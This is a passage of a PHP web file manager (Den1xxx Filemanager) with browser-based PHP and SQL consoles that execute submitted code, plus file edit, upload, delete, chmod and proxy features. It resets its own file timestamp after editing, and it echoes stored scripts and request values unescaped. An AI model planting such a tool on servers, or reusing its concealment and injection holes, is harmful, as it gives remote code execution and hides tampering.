3dvfN6b/fF9/XfFt1+cif9zsu72Xcn7q28T7xf9EDtQdlD3YfVP1v+3Njv3H9qwHeg89HcR/cGhYPP/pH1jw9DBY+Zj8uGDYbrnjg+OTniP3L96fynQ89kzyaeF/6i/suuFxYvfvjV69fO0ZjRoZfyl5O/bXyl/erA6xmv28bCxh6+yXgzMV70VvvtwXfcdx3vo98PT+R8IH8o/2j5sfVT0Kf7kxmTk/8EA5jz/GMzLdsAAAAGYktHRAD/AP8A/6C9p5MAAAAJcEhZcwAACxMAAAsTAQCanBgAAAAHdElNRQfcCAwGMTg5XEETAAAB8klEQVQ4y3WSMW/TQBiGn++7sx3XddMAIm0nkCohRQiJDSExdAl/ATEwIPEzkFiYYGRlyMyGxMLExFhByy9ACAaa0gYnDol9x9DYiVs46dPnk/w+9973ngDJ/v7++yAICj+fI0HA/5ZzDu89zjmOjo6yfr//wAJBr9e7G4YhxWSCRFH902qVZdnYx3F8DIQWIMsy1pIEXxSoMfVJ50FeDKUrcGcwAVCANE1ptVqoKqqKMab+rvZhvMbn1y/wg6dItIaIAGABTk5OSJIE9R4AEUFVcc7VPf92wPbtlHz3CRt+jqpSO2i328RxXNtehYgIprXO+ONzrl3+gtEAEW0ChsMhWZY17l5DjOX00xuu7oz5ET3kUmejBteATqdDHMewEK9CPDA/fMVs6xab23tnIv2Hg/F43Jy494gNGH54SffGBqfrj0laS3HDQZqmhGGIW8RWxffn+Dv251t+te/R3enhEUSWVQNGoxF5nuNXxKKGrwfvCHbv4K88wmiJ6nKwjRijKMIYQzmfI4voRIQi3uZ39z5bm50zaHXq4v41YDqdgghSlohzAMymOddv7mGMUJZlI9ZqwE0Hqoi1F15hJVrtCxe+AkgYhgTWIsZgoggRwVp7YWCryxijFWAyGAyeIVKocyLW1o+o6ucL8Hmez4DxX+8dALG7MeVUAAAAAElFTkSuQmCC");
}
<?=fm_home_style()?>
.img {
	background-image: 
url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAdFQTFRF7e3t/f39pJ+f+cJajV8q6enpkGIm/sFO/+2O393c5ubm/sxbd29yimdneFg65OTk2zoY6uHi1zAS1crJsHs2nygo3Nrb2LBXrYtm2p5A/+hXpoRqpKOkwri46+vr0MG36Ysz6ujpmI6AnzUywL+/mXVSmIBN8bwwj1VByLGza1ZJ0NDQjYSB/9NjwZ6CwUAsxk0brZyWw7pmGZ4A6LtdkHdf/+N8yow27b5W87RNLZL/2biP7wAA//GJl5eX4NfYsaaLgp6h1b+t/+6R68Fe89ycimZd/uQv3r9NupCB99V25a1cVJbbnHhO/8xS+MBa8fDwi2Ji48qi/+qOdVIzs34x//GOXIzYp5SP/sxgqpiIcp+/siQpcmpstayszSANuKKT9PT04uLiwIky8LdE+sVWvqam8e/vL5IZ+rlH8cNg08Ccz7ad8vLy9LtU1qyUuZ4+r512+8s/wUpL3d3dx7W1fGNa/89Z2cfH+s5n6Ojob1Yts7Kz19fXwIg4p1dN+Pj4zLR0+8pd7strhKAs/9hj/9BV1KtftLS1np2dYlJSZFVV5LRWhEFB5rhZ/9Jq0HtT//CSkIqJ6K5D+LNNblVVvjM047ZMz7e31xEG////tKgu6wAAAJt0Uk5T/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////wCVVpKYAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAANZJREFUKFNjmKWiPQsZMMximsqPKpAb2MsAZNjLOwkzggVmJYnyps/QE59eKCEtBhaYFRfjZuThH27lY6kqBxYorS/OMC5wiHZkl2QCCVTkN+trtFj4ZSpMmawDFBD0lCoynzZBl1nIJj55ElBA09pdvc9buT1SYKYBWw1QIC0oNYsjrFHJpSkvRYsBKCCbM9HLN9tWrbqnjUUGZG1AhGuIXZRzpQl3aGwD2B2cZZ2zEoL7W+u6qyAunZXIOMvQrFykqwTiFzBQNOXj4QKzoAKzajtYIQwAlvtpl3V5c8MAAAAASUVORK5CYII=");
}
@media screen and (max-width:720px){
  table{display:block;}
    #fm_table td{display:inline;float:left;}
    #fm_table tbody td:first-child{width:100%;padding:0;}
    #fm_table tbody tr:nth-child(2n+1){background-color:#EFEFEF;}
    #fm_table tbody tr:nth-child(2n){background-color:#DEE3E7;}
    #fm_table tr{display:block;float:left;clear:left;width:100%;}
	#header_table .row2, #header_table .row3 {display:inline;float:left;width:100%;padding:0;}
	#header_table table td {display:inline;float:left;}
}
</style>
</head>
<body>
<?php
$url_inc = '?fm=true';
if (isset($_POST['sqlrun'])&&!empty($fm_config['enable_sql_console'])){
	$res = empty($_POST['sql']) ? '' : $_POST['sql'];
	$res_lng = 'sql';
} elseif (isset($_POST['phprun'])&&!empty($fm_config['enable_php_console'])){
	$res = empty($_POST['php']) ? '' : $_POST['php'];
	$res_lng = 'php';
} 
if (isset($_GET['fm_settings'])) {
	echo ' 
<table class="whole">
<form method="post" action="">
<tr><th colspan="2">'.__('File manager').' - '.__('Settings').'</th></tr>
'.(empty($msg)?'':'<tr><td class="row2" colspan="2">'.$msg.'</td></tr>').'
'.fm_config_checkbox_row(__('Show size of the folder'),'show_dir_size').'
'.fm_config_checkbox_row(__('Show').' '.__('pictures'),'show_img').'
'.fm_config_checkbox_row(__('Show').' '.__('Make directory'),'make_directory').'
'.fm_config_checkbox_row(__('Show').' '.__('New file'),'new_file').'
'.fm_config_checkbox_row(__('Show').' '.__('Upload'),'upload_file').'
'.fm_config_checkbox_row(__('Show').' PHP version','show_php_ver').'
'.fm_config_checkbox_row(__('Show').' PHP ini','show_php_ini').'
'.fm_config_checkbox_row(__('Show').' '.__('Generation time'),'show_gt').'
'.fm_config_checkbox_row(__('Show').' xls','show_xls').'
'.fm_config_checkbox_row(__('Show').' PHP '.__('Console'),'enable_php_console').'
'.fm_config_checkbox_row(__('Show').' SQL '.__('Console'),'enable_sql_console').'
<tr><td class="row1"><input name="fm_config[sql_server]" value="'.$fm_config['sql_server'].'" type="text"></td><td class="row2 whole">SQL server</td></tr>
<tr><td class="row1"><input name="fm_config[sql_username]" value="'.$fm_config['sql_username'].'" type="text"></td><td class="row2 whole">SQL user</td></tr>
<tr><td class="row1"><input name="fm_config[sql_password]" value="'.$fm_config['sql_password'].'" type="text"></td><td class="row2 whole">SQL password</td></tr>
<tr><td class="row1"><input name="fm_config[sql_db]" value="'.$fm_config['sql_db'].'" type="text"></td><td class="row2 whole">SQL DB</td></tr>
'.fm_config_checkbox_row(__('Show').' Proxy','enable_proxy').'
'.fm_config_checkbox_row(__('Show').' phpinfo()','show_phpinfo').'
'.fm_config_checkbox_row(__('Show').' '.__('Settings'),'fm_settings').'
'.fm_config_checkbox_row(__('Restore file time after editing'),'restore_time').'
'.fm_config_checkbox_row(__('File manager').': '.__('Restore file time after editing'),'fm_restore_time').'
<tr><td class="row3"><a href="'.fm_url().'?fm_settings=true&fm_config_delete=true">'.__('Reset settings').'</a></td><td class="row3"><input type="submit" value="'.__('Save').'" name="fm_config[fm_set_submit]"></td></tr>
</form>
</table>
<table>
<form method="post" action="">
<tr><th colspan="2">'.__('Settings').' - '.__('Authorization').'</th></tr>
<tr><td class="row1"><input name="fm_login[authorize]" value="1" '.($auth['authorize']?'checked':'').' type="checkbox" id="auth"></td><td class="row2 whole"><label for="auth">'.__('Authorization').'</label></td></tr>
<tr><td class="row1"><input name="fm_login[login]" value="'.$auth['login'].'" type="text"></td><td class="row2 whole">'.__('Login').'</td></tr>
<tr><td class="row1"><input name="fm_login[password]" value="'.$auth['password'].'" type="text"></td><td class="row2 whole">'.__('Password').'</td></tr>
<tr><td class="row1"><input name="fm_login[cookie_name]" value="'.$auth['cookie_name'].'" type="text"></td><td class="row2 whole">'.__('Cookie').'</td></tr>
<tr><td class="row1"><input name="fm_login[days_authorization]" value="'.$auth['days_authorization'].'" type="text"></td><td class="row2 whole">'.__('Days').'</td></tr>
<tr><td class="row1"><textarea name="fm_login[script]" cols="35" rows="7" class="textarea_input" id="auth_script">'.$auth['script'].'</textarea></td><td class="row2 whole">'.__('Script').'</td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Save').'" ></td></tr>
</form>
</table>';
echo fm_tpl_form('php'),fm_tpl_form('sql');
} elseif (isset($proxy_form)) {
	die($proxy_form);
} elseif (isset($res_lng)) {	
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row2"><table><tr><td><h2><?=strtoupper($res_lng)?> <?=__('Console')?><?php
	if($res_lng=='sql') echo ' - Database: '.$fm_config['sql_db'].'</h2></td><td>'.fm_run_input('php');
	else echo '</h2></td><td>'.fm_run_input('sql');
	?></td></tr></table></td>
</tr>
<tr>
    <td class="row1">
		<a href="<?=$url_inc.'&path=' . $path;?>"><?=__('Back')?></a>
		<form action="" method="POST" name="console">
		<textarea name="<?=$res_lng?>" cols="80" rows="10" style="width: 90%"><?=$res?></textarea><br/>
		<input type="reset" value="<?=__('Reset')?>">
		<input type="submit" value="<?=__('Submit')?>" name="<?=$res_lng?>run">
<?php
$str_tmpl = $res_lng.'_templates';
$tmpl = !empty($$str_tmpl) ? json_decode($$str_tmpl,true) : '';
if (!empty($tmpl)){
	$active = isset($_POST[$res_lng.'_tpl']) ? $_POST[$res_lng.'_tpl'] : '';
	$select = '<select name="'.$res_lng.'_tpl" title="'.__('Template').'" onchange="if (this.value!=-1) document.forms[\'console\'].elements[\''.$res_lng.'\'].value = this.options[selectedIndex].value; else document.forms[\'console\'].elements[\''.$res_lng.'\'].value =\'\';" >'."\n";
	$select .= '<option value="-1">' . __('Select') . "</option>\n";
	foreach ($tmpl as $key=>$value){
		$select.='<option value="'.$value.'" '.((!empty($value)&&($value==$active))?'selected':'').' >'.__($key)."</option>\n";
	}
	$select .= "</select>\n";
	echo $select;
}
?>
		</form>
	</td>
</tr>
</table>
<?php
	if (!empty($res)) {
		$fun='fm_'.$res_lng;
		echo '<h3>'.strtoupper($res_lng).' '.__('Result').'</h3><pre>'.$fun($res).'</pre>';
	}
} elseif (!empty($_REQUEST['edit'])){
	if(!empty($_REQUEST['save'])) {
		$fn = $path . $_REQUEST['edit'];
		$filemtime = filemtime($fn);
	    if (file_put_contents($fn, $_REQUEST['newcontent'])) $msg .= __('File updated');
		else $msg .= __('Error occurred');
		if ($_GET['edit']==basename(__FILE__)) {
			touch(__FILE__,1415116371);
		} else {
			if (!empty($fm_config['restore_time'])) touch($fn,$filemtime);
		}
	}
    $oldcontent = @file_get_contents($path . $_REQUEST['edit']);
    $editlink = $url_inc . '&edit=' . $_REQUEST['edit'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table border='0' cellspacing='0' cellpadding='1' width="100%">
<tr>
    <th><?=__('File manager').' - '.__('Edit').' - '.$path.$_REQUEST['edit']?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg?>
	</td>
</tr>
<tr>
    <td class="row1">
        <?=fm_home()?> <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$editlink?>">
            <textarea name="newcontent" id="newcontent" cols="45" rows="15" style="width:99%" spellcheck="false"><?=htmlspecialchars($oldcontent)?></textarea>
            <input type="submit" name="save" value="<?=__('Submit')?>">
            <input type="submit" name="cancel" value="<?=__('Cancel')?>">
        </form>
    </td>
</tr>
</table>
<?php
echo $auth['script'];
} elseif(!empty($_REQUEST['rights'])){
	if(!empty($_REQUEST['save'])) {
	    if(fm_chmod($path . $_REQUEST['rights'], fm_convert_rights($_REQUEST['rights_val']), @$_REQUEST['recursively']))
		$msg .= (__('File updated')); 
		else $msg .= (__('Error occurred'));
	}
	clearstatcache();
    $oldrights = fm_rights_string($path . $_REQUEST['rights'], true);
    $link = $url_inc . '&rights=' . $_REQUEST['rights'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
           <?=__('Rights').' - '.$_REQUEST['rights']?> <input type="text" name="rights_val" value="<?=$oldrights?>">
        <?php if (is_dir($path.$_REQUEST['rights'])) { ?>
            <input type="checkbox" name="recursively" value="1"> <?=__('Recursively')?><br/>
        <?php } ?>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
<?php
} elseif (!empty($_REQUEST['rename'])&&$_REQUEST['rename']<>'.') {
	if(!empty($_REQUEST['save'])) {
	    rename($path . $_REQUEST['rename'], $path . $_REQUEST['newname']);
		$msg .= (__('File updated'));
		$_REQUEST['rename'] = $_REQUEST['newname'];
	}
	clearstatcache();
    $link = $url_inc . '&rename=' . $_REQUEST['rename'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;

?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
            <?=__('Rename')?>: <input type="text" name="newname" value="<?=$_REQUEST['rename']?>"><br/>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
<?php
} else {
//Let's rock!
    $msg = '';
    if(!empty($_FILES['upload'])&&!empty($fm_config['upload_file'])) {
        if(!empty($_FILES['upload']['name'])){
            $_FILES['upload']['name'] = str_replace('%', '', $_FILES['upload']['name']);
            if(!move_uploaded_file($_FILES['upload']['tmp_name'], $path . $_FILES['upload']['name'])){
                $msg .= __('Error occurred');
            } else {
				$msg .= __('Files uploaded').': '.$_FILES['upload']['name'];
			}
        }
    } elseif(!empty($_REQUEST['delete'])&&$_REQUEST['delete']<>'.') {
        if(!fm_del_files(($path . $_REQUEST['delete']), true)) {
            $msg .= __('Error occurred');
        } else {
			$msg .= __('Deleted').' '.$_REQUEST['delete'];
		}
	} elseif(!empty($_REQUEST['mkdir'])&&!empty($fm_config['make_directory'])) {
        if(!@mkdir($path . $_REQUEST['dirname'],0777)) {
            $msg .= __('Error occurred');
        } else {
			$msg .= __('Created').' '.$_REQUEST['dirname'];
		}
    } elseif(!empty($_REQUEST['mkfile'])&&!empty($fm_config['new_file'])) {
        if(!$fp=@fopen($path . $_REQUEST['filename'],"w")) {
            $msg .= __('Error occurred');
        } else {
			fclose($fp);
			$msg .= __('Created').' '.$_REQUEST['filename'];
		}
    } elseif (isset($_GET['zip'])) {
		$source = base64_decode($_GET['zip']);
		$destination = basename($source).'.zip';
		set_time_limit(0);
		$phar = new PharData($destination);
		$phar->buildFromDirectory($source);
		if (is_file($destination))
		$msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').
		'.&nbsp;'.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination)
		.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '. $destination.'" >'.__('Delete') . '</a>';
		else $msg .= __('Error occurred').': '.__('no files');
	} elseif (isset($_GET['gz'])) {
		$source = base64_decode($_GET['gz']);
		$archive = $source.'.tar';
		$destination = basename($source).'.tar';
		if (is_file($archive)) unlink($archive);
		if (is_file($archive.'.gz')) unlink($archive.'.gz');
		clearstatcache();
		set_time_limit(0);
		//die();
		$phar = new PharData($destination);
		$phar->buildFromDirectory($source);
		$phar->compress(Phar::GZ,'.tar.gz');
		unset($phar);
		if (is_file($archive)) {
			if (is_file($archive.'.gz')) {
				unlink($archive); 
				$destination .= '.gz';
			}

			$msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').
			'.&nbsp;'.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination)
			.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';
		} else $msg .= __('Error occurred').': '.__('no files');
	} elseif (isset($_GET['decompress'])) {
		// $source = base64_decode($_GET['decompress']);
		// $destination = basename($source);
		// $ext = end(explode(".", $destination));
		// if ($ext=='zip' OR $ext=='gz') {
			// $phar = new PharData($source);
			// $phar->decompress();
			// $base_file = str_replace('.'.$ext,'',$destination);
			// $ext = end(explode(".", $base_file));
			// if ($ext=='tar'){
				// $phar = new PharData($base_file);
				// $phar->extractTo(dir($source));
			// }
		// } 
		// $msg .= __('Task').' "'.__('Decompress').' '.$source.'" '.__('done');
	} elseif (isset($_GET['gzfile'])) {
		$source = base64_decode($_GET['gzfile']);
		$archive = $source.'.tar';
		$destination = basename($source).'.tar';
		if (is_file($archive)) unlink($archive);
		if (is_file($archive.'.gz')) unlink($archive.'.gz');
		set_time_limit(0);
		//echo $destination;
		$ext_arr = explode('.',basename($source));
		if (isset($ext_arr[1])) {
			unset($ext_arr[0]);
			$ext=implode('.',$ext_arr);
		} 
		$phar = new PharData($destination);
		$phar->addFile($source);
		$phar->compress(Phar::GZ,$ext.'.tar.gz');
		unset($phar);
		if (is_file($archive)) {
			if (is_file($archive.'.gz')) {
				unlink($archive); 
				$destination .= '.gz';
			}
			$msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').
			'.&nbsp;'.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination)
			.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';
		} else $msg .= __('Error occurred').': '.__('no files');
	}
?>
<table class="whole" id="header_table" >
<tr>
    <th colspan="2"><?=__('File manager')?><?=(!empty($path)?' - '.$path:'')?></th>
</tr>
<?php if(!empty($msg)){ ?>
<tr>
	<td colspan="2" class="row2"><?=$msg?></td>
</tr>
<?php } ?>
<tr>
    <td class="row2">
		<table>
			<tr>
			<td>
				<?=fm_home()?>
			</td>
			<td>
			<?php if(!empty($fm_config['make_directory'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" name="dirname" size="15">
				<input type="submit" name="mkdir" value="<?=__('Make directory')?>">
				</form>
			<?php } ?>
			</td>
			<td>
			<?php if(!empty($fm_config['new_file'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" name="filename" size="15">
				<input type="submit" name="mkfile" value="<?=__('New file')?>">
				</form>
			<?php } ?>
			</td>
			<td>
			<?=fm_run_input('php')?>
			</td>
			<td>
			<?=fm_run_input('sql')?>
			</td>
			</tr>
		</table>
    </td>
    <td class="row3">
		<table>
		<tr>
		<td>
		<?php if (!empty($fm_config['upload_file'])) { ?>
			<form name="form1" method="post" action="<?=$url_inc?>" enctype="multipart/form-data">
			<input type="hidden" name="path" value="<?=$path?>" />
			<input type="file" name="upload" id="upload_hidden" style="position: absolute; display: block; overflow: hidden; width: 0; height: 0; border: 0; padding: 0;" onchange="document.getElementById('upload_visible').value = this.value;" />
			<input type="text" readonly="1" id="upload_visible" placeholder="<?=__('Select the file')?>" style="cursor: pointer;" onclick="document.getElementById('upload_hidden').click();" />
			<input type="submit" name="test" value="<?=__('Upload')?>" />
			</form>
		<?php } ?>
		</td>
		<td>
		<?php if ($auth['authorize']) { ?>
			<form action="" method="post">&nbsp;&nbsp;&nbsp;
			<input name="quit" type="hidden" value="1">
			<?=__('Hello')?>, <?=$auth['login']?>
			<input type="submit" value="<?=__('Quit')?>">
			</form>
		<?php } ?>
		</td>
		<td>
		<?=fm_lang_form($language)?>
		</td>
		<tr>
		</table>
    </td>
</tr>
</table>
<table class="all" border='0' cellspacing='1' cellpadding='1' id="fm_table" width="100%">
<thead>
<tr> 
    <th style="white-space:nowrap"> <?=__('Filename')?> </th>
    <th style="white-space:nowrap"> <?=__('Size')?> </th>
    <th style="white-space:nowrap"> <?=__('Date')?> </th>
    <th style="white-space:nowrap"> <?=__('Rights')?> </th>
    <th colspan="4" style="white-space:nowrap"> <?=__('Manage')?> </th>
</tr>
</thead>
<tbody>
<?php
$elements = fm_scan_dir($path, '', 'all', true);
$dirs = array();
$files = array();
foreach ($elements as $file){
    if(@is_dir($path . $file)){
        $dirs[] = $file;
    } else {
        $files[] = $file;
    }
}
natsort($dirs); natsort($files);
$elements = array_merge($dirs, $files);

foreach ($elements as $file){
    $filename = $path . $file;
    $filedata = @stat($filename);
    if(@is_dir($filename)){
		$filedata[7] = '';
		if (!empty($fm_config['show_dir_size'])&&!fm_root($file)) $filedata[7] = fm_dir_size($filename);
        $link = '<a href="'.$url_inc.'&path='.$path.$file.'" title="'.__('Show').' '.$file.'"><span class="folder">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
        $loadlink= (fm_root($file)||$phar_maybe) ? '' : fm_link('zip',$filename,__('Compress').'&nbsp;zip',__('Archiving').' '. $file);
		$arlink  = (fm_root($file)||$phar_maybe) ? '' : fm_link('gz',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '.$file);
        $style = 'row2';
		 if (!fm_root($file)) $alert = 'onClick="if(confirm(\'' . __('Are you sure you want to delete this directory (recursively)?').'\n /'. $file. '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"'; else $alert = '';
    } else {
		$link = 
			$fm_config['show_img']&&@getimagesize($filename) 
			? '<a target="_blank" onclick="var lefto = screen.availWidth/2-320;window.open(\''
			. fm_img_link($filename)
			.'\',\'popup\',\'width=640,height=480,left=\' + lefto + \',scrollbars=yes,toolbar=no,location=no,directories=no,status=no\');return false;" href="'.fm_img_link($filename).'"><span class="img">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>'
			: '<a href="' . $url_inc . '&edit=' . $file . '&path=' . $path. '" title="' . __('Edit') . '"><span class="file">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
		$e_arr = explode(".", $file);
		$ext = end($e_arr);
        $loadlink =  fm_link('download',$filename,__('Download'),__('Download').' '. $file);
		$arlink = in_array($ext,array('zip','gz','tar')) 
		? ''
		: ((fm_root($file)||$phar_maybe) ? '' : fm_link('gzfile',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '. $file));
        $style = 'row1';
		$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"';
    }
    $deletelink = fm_root($file) ? '' : '<a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
    $renamelink = fm_root($file) ? '' : '<a href="' . $url_inc . '&rename=' . $file . '&path=' . $path . '" title="' . __('Rename') .' '. $file . '">' . __('Rename') . '</a>';
    $rightstext = ($file=='.' || $file=='..') ? '' : '<a href="' . $url_inc . '&rights=' . $file . '&path=' . $path . '" title="' . __('Rights') .' '. $file . '">' . @fm_rights_string($filename) . '</a>';
?>
<tr class="<?=$style?>"> 
    <td><?=$link?></td>
    <td><?=$filedata[7]?></td>
    <td style="white-space:nowrap"><?=gmdate("Y-m-d H:i:s",$filedata[9])?></td>
    <td><?=$rightstext?></td>
    <td><?=$deletelink?></td>
    <td><?=$renamelink?></td>
    <td><?=$loadlink?></td>
    <td><?=$arlink?></td>
</tr>
<?php
    }
}
?>
</tbody>
</table>
<div class="row3"><?php
	$mtime = explode(' ', microtime()); 
	$totaltime = $mtime[0] + $mtime[1] - $starttime; 
	echo fm_home().' | ver. '.$fm_version.' | <a href="https://github.com/Den1xxx/Filemanager">Github</a>  | <a href="'.fm_site_url().'">.</a>';
	if (!empty($fm_config['show_php_ver'])) echo ' | PHP '.phpversion();
	if (!empty($fm_config['show_php_ini'])) echo ' | '.php_ini_loaded_file();
	if (!empty($fm_config['show_gt'])) echo ' | '.__('Generation time').': '.round($totaltime,2);
	if (!empty($fm_config['enable_proxy'])) echo ' | <a href="?proxy=true">proxy</a>';
	if (!empty($fm_config['show_phpinfo'])) echo ' | <a href="?phpinfo=true">phpinfo</a>';
	if (!empty($fm_config['show_xls'])&&!empty($link)) echo ' | <a href="javascript: void(0)" onclick="var obj = new table2Excel(); obj.CreateExcelSheet(\'fm_table\',\'export\');" title="'.__('Download').' xls">xls</a>';
	if (!empty($fm_config['fm_settings'])) echo ' | <a href="?fm_settings=true">'.__('Settings').'</a>';
	?>
</div>
<script type="text/javascript">
function download_xls(filename, text) {
	var element = document.createElement('a');
	element.setAttribute('href', 'data:application/vnd.ms-excel;base64,' + text);
	element.setAttribute('download', filename);
	element.style.display = 'none';
	document.body.appendChild(element);
	element.click();
	document.body.removeChild(element);
}

function base64_encode(m) {
	for (var k = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/".split(""), c, d, h, e, a, g = "", b = 0, f, l = 0; l < m.length; ++l) {
		c = m.charCodeAt(l);
		if (128 > c) d = 1;
		else
			for (d = 2; c >= 2 << 5 * d;) ++d;
		for (h = 0; h < d; ++h) 1 == d ? e = c : (e = h ? 128 : 192, a = d - 2 - 6 * h, 0 <= a && (e += (6 <= a ? 1 : 0) + (5 <= a ? 2 : 0) + (4 <= a ? 4 : 0) + (3 <= a ? 8 : 0) + (2 <= a ? 16 : 0) + (1 <= a ? 32 : 0), a -= 5), 0 > a && (u = 6 * (d - 1 - h), e += c >> u, c -= c >> u << u)), f = b ? f << 6 - b : 0, b += 2, f += e >> b, g += k[f], f = e % (1 << b), 6 == b && (b = 0, g += k[f])
	}
	b && (g += k[f << 6 - b]);
	return g
}


var tableToExcelData = (function() {
    var uri = 'data:application/vnd.ms-excel;base64,',
    template = '<html xmlns:o="urn:schemas-microsoft-com:office:office" xmlns:x="urn:schemas-microsoft-com:office:excel" xmlns="http://www.w3.org/TR/REC-html40"><head><!--[if gte mso 9]><xml><x:ExcelWorkbook><x:ExcelWorksheets><x:ExcelWorksheet><x:Name>{worksheet}</x:Name><x:WorksheetOptions><x:DisplayGridlines></x:DisplayGridlines></x:WorksheetOptions></x:ExcelWorksheet></x:ExcelWorksheets></x:ExcelWorkbook></xml><![endif]--><meta http-equiv="content-type" content="text/plain; charset=UTF-8"/></head><body><table>{table}</table></body></html>',
    format = function(s, c) {
            return s.replace(/{(\w+)}/g, function(m, p) {
                return c[p];
            })
        }
    return function(table, name) {
        if (!table.nodeType) table = document.getElementById(table)
        var ctx = {
            worksheet: name || 'Worksheet',
            table: table.innerHTML.replace(/<span(.*?)\/span> /g,"").replace(/<a\b[^>]*>(.*?)<\/a>/g,"$1")
        }
		t = new Date();
		filename = 'fm_' + t.toISOString() + '.xls'
		download_xls(filename, base64_encode(format(template, ctx)))
    }
})();

var table2Excel = function () {

    var ua = window.navigator.userAgent;
    var msie = ua.indexOf("MSIE ");

	this.CreateExcelSheet = 
		function(el, name){
			if (msie > 0 || !!navigator.userAgent.match(/Trident.*rv\:11\./)) {// If Internet Explorer

				var x = document.getElementById(el).rows;

				var xls = new ActiveXObject("Excel.Application");

				xls.visible = true;
				xls.Workbooks.Add
				for (i = 0; i < x.length; i++) {
					var y = x[i].cells;

					for (j = 0; j < y.length; j++) {
						xls.Cells(i + 1, j + 1).Value = y[j].innerText;
					}
				}
				xls.Visible = true;
				xls.UserControl = true;
				return xls;
			} else {
				tableToExcelData(el, name);
			}
		}
}
</script>
</body>
</html>

<?php
//Ported from ReloadCMS project http://reloadcms.com
class archiveTar {
	var $archive_name = '';
	var $tmp_file = 0;
	var $file_pos = 0;
	var $isGzipped = true;
	var $errors = array();
	var $files = array();
	
	function __construct(){
		if (!isset($this->errors)) $this->errors = array();
	}
	
	function createArchive($file_list){
		$result = false;
		if (file_exists($this->archive_name) && is_file($this->archive_name)) 	$newArchive = false;
		else $newArchive = true;
		if ($newArchive){
			if (!$this->openWrite()) return false;
		} else {
			if (filesize($this->archive_name) == 0)	return $this->openWrite();
			if ($this->isGzipped) {
				$this->closeTmpFile();
				if (!rename($this->archive_name, $this->archive_name.'.tmp')){
					$this->errors[] = __('Cannot rename').' '.$this->archive_name.__(' to ').$this->archive_name.'.tmp';
					return false;
				}
				$tmpArchive = gzopen($this->archive_name.'.tmp', 'rb');
				if (!$tmpArchive){
					$this->errors[] = $this->archive_name.'.tmp '.__('is not readable');
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				if (!$this->openWrite()){
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				$buffer = gzread($tmpArchive, 512);
				if (!gzeof($tmpArchive)){
					do {
						$binaryData = pack('a512', $buffer);
						$this->writeBlock($binaryData);
						$buffer = gzread($tmpArchive, 512);
					}
					while (!gzeof($tmpArchive));
				}
				gzclose($tmpArchive);
				unlink($this->archive_name.'.tmp');
			} else {
				$this->tmp_file = fopen($this->archive_name, 'r+b');
				if (!$this->tmp_file)	return false;
			}
		}
		if (isset($file_list) && is_array($file_list)) {
		if (count($file_list)>0)
			$result = $this->packFileArray($file_list);
		} else $this->errors[] = __('No file').__(' to ').__('Archive');
		if (($result)&&(is_resource($this->tmp_file))){
			$binaryData = pack('a512', '');
			$this->writeBlock($binaryData);
		}
		$this->closeTmpFile();
		if ($newArchive && !$result){
		$this->closeTmpFile();
		unlink($this->archive_name);
		}
		return $result;
	}

	function restoreArchive($path){
		$fileName = $this->archive_name;
		if (!$this->isGzipped){
			if (file_exists($fileName)){
				if ($fp = fopen($fileName, 'rb')){
